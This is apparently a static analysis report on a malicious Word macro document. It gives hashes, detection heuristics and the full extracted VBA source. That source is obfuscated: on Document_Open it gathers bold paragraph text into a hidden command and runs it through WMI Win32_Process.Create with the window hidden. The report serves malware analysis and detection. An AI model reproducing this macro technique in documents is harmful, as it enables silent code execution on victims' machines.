Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 777404003f8ce8bf…

MALICIOUS

Office (OOXML)

20.6 KB Created: 2020-10-15 16:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-25
MD5: 0e7cb8ac11665200800004842e78556a SHA-1: b1dec46c8dd53dcfcaeba075e0af3b9a126ec55b SHA-256: 777404003f8ce8bfc013f04e1725e869365d1768c5180e2b61141927478bc969
170 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3878 bytes
SHA-256: e54bfcd0e41546c7ffbeb373d6d51e45f23132960bc3c4e07f7efe41e9a80977
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Dim psebxqg As String


Private Sub Document_Open()
Call nmngtyy
End Sub

Private Sub nmngtyy()







If Log(7.6543) = Log(78.7882) Then
Else


psebxqg = "HHyfoyC:dtRCVbPxx"

End If






LLLLL



End Sub


Public Sub LLLLL()
If Cos(76.8765) = Log(12.42555) Then
Else
Call HHyfoyC.dtRCVbPxx
End If
End Sub




Attribute VB_Name = "HHyfoyC"





Function dKtglXuOVcAfwQHUMwfuJzuyfL(fnNkVffQIGXdLslTsudNtO, dySiPw, zPwSnODocwWzBIDvMHsMmHejfR, jmDwQUfHIgsEXQESgquNuaCGaWjqskNn, eTCZzFeVAvOTDVwhoyskD, JjwWuloPXTFhtwCshlQrteomXAmIDmUDSoJS)
zCOEmjPEaWLHGuYBYldHVNiGreXTdQuA = "mvLGXOwgMgxAoYAlyVMCEPl"
INHLwaJbKiUyNuAXhbJ = 9.65934241201523E+28
kFCFWhfuhxVWJsyKGkjlWVqGECXDV = 8.37579598319801E+20
VdGEiCKCpOvPtMNxpUvqRxrXKPPwAUJcZsc = 2.57258818677484E+29
QFJwzEvUqHbdtHNDHeXYljtTmOBUESpAkVgjL = "qNBXgDnmDtHGUuVEFhLpJlCaPXRatXadrInKWNCqgAK"
MyyvffPzYW = 33122964
FKbIIlMsfSePLGKireUJJauNRZWvNHbEVTi = 1.75622647281961E+30
vFtF = 1.07172086349815E+37
HfpiinoUxXVEMfePNqj = 8.559043741837E+15
dKtglXuOVcAfwQHUMwfuJzuyfL "RfXqausYKnmkPpC"
End Function



Public Sub dtRCVbPxx()

On Error Resume Next

















Dim zxd As Variant
Dim zxtgsaqeyhzfgds3re As String



Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.





 Dim Para As Paragraph
    Dim i As Long

    Application.ScreenUpdating = False
    With ActiveDocument
        For i = .Paragraphs.Count To 1 Step -1
            Set Para = .Paragraphs(i)
            With Para
                If .Range.End - .Range.Start = 1 Then
                    .Range.Delete
                Else
                    .SpaceBefore = 6
                    .SpaceAfter = 6
                End If
            End With
        Next i
    End With
    Application.ScreenUpdating = True




Dim singleLine As Paragraph
   Dim rng As Range
   Dim pos As Integer
    Dim Wrd As Range

   For Each singleLine In ActiveDocument.Paragraphs
      Set rng = singleLine.Range
   
   
    
    
         If rng.Font.Bold Then
            'MsgBox "This is bold"
               lineText = singleLine.Range.Text
          qtpgIlRLK = qtpgIlRLK + lineText
        
       ' MsgBox (qtpgIlRLK)
         End If
     
   Next


WpkbB = "xOKhf"
fE = "JCT"
TDOvQ = "F"
vWYYg = 3561180
HKODnr = "ok"
YmBx = 4533856
Ddyd = "dUC"
TahIc = "QzrXkG"




ZFF = Null
VCFGv = ZFF

If Sin(2) + Cos(7.46) - 976.7654 = Cos(272) * 75.557 Then

MsgBox (CoNjMfBs)

Else

Do Until "LGRLh" <> "zslnu"
xZZI = "giQ"
xuTFy = 32437
XPK = 9889
rleIH = 552
rQSE = 774
nKtIZbQ = "ZoV"
xNLxG = "RbdaLC"
SRRmTQ = "MnK"
awYoHE = "nVKhuv"
lgAd = "Mzq"
LGRLh = zslnu
Loop


qtpgIlRLK = Replace(qtpgIlRLK, "ucyqqujiu", "")
End If

strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Dim k1 As String
    k1 = "Win32_ProcessStart" & "u" & "p"
    Set objStartUp = objWMIService.Get(k1)
    Set objProc = objWMIService.Get("Win32_Process")
    Set procStartConfig = objStartUp.SpawnInstance_
    procStartConfig.ShowWindow = 0 * 0
    objProc.Create qtpgIlRLK, VCFGv, procStartConfig, intProcessID
    



End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 46a6a82173a6005281d94480c20177021a2b0a6ea10dc53414a14fc03b0ed131

Open this report in the interactive analyzer, or submit your own file for analysis.